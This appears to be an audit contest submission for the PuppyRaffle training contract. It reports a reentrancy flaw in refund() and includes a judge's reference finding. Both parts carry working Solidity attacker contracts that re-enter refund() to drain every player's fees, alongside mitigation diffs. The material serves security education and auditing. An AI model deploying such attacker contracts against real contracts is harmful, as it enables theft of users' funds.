Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in refund() allows a malicious entrant to drain all contract funds

Description

  • Normally, refund() should return a player's entranceFee and remove them from the players array.

  • However, refund() sends the ETH with sendValue(...) before it zeroes players[playerIndex], violating Checks-Effects-Interactions. A malicious contract can re-enter refund() from its receive() and withdraw repeatedly because the slot is still set and non-zero during the external call.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee); // @> external call FIRST (line 101)
players[playerIndex] = address(0); // @> state update AFTER (line 103)
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood: High

  • Any user can enter the raffle via a contract and then call refund; the re-entrancy path is reachable on every call while the contract still holds funds.

  • Address.sendValue forwards all remaining gas, so the attacker's receive() can re-enter without gas limitation.

Impact: High

  • Complete theft of all ETH held by the contract (every other player's entrance fees plus the accumulated totalFees).

Proof of Concept

Place this attacker contract alongside the test suite and call attack{value: entranceFee}() after at least 4 honest players have entered (contract balance = 4 · entranceFee). After the call the attacker holds ~5 · entranceFee and address(raffle).balance == 0.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
contract ReentrancyAttacker {
PuppyRaffle public raffle;
uint256 public fee;
uint256 public idx;
constructor(PuppyRaffle _raffle) {
raffle = _raffle;
fee = _raffle.entranceFee();
}
function attack() external payable {
address[] memory me = new address[](1);
me[0] = address(this);
raffle.enterRaffle{value: fee}(me);
idx = raffle.getActivePlayerIndex(address(this));
raffle.refund(idx);
}
receive() external payable {
if (address(raffle).balance >= fee) {
raffle.refund(idx);
}
}
}

Recommended Mitigation

Apply Checks-Effects-Interactions: update state before the external call (and/or add a nonReentrant modifier).

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
+ payable(msg.sender).sendValue(entranceFee);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!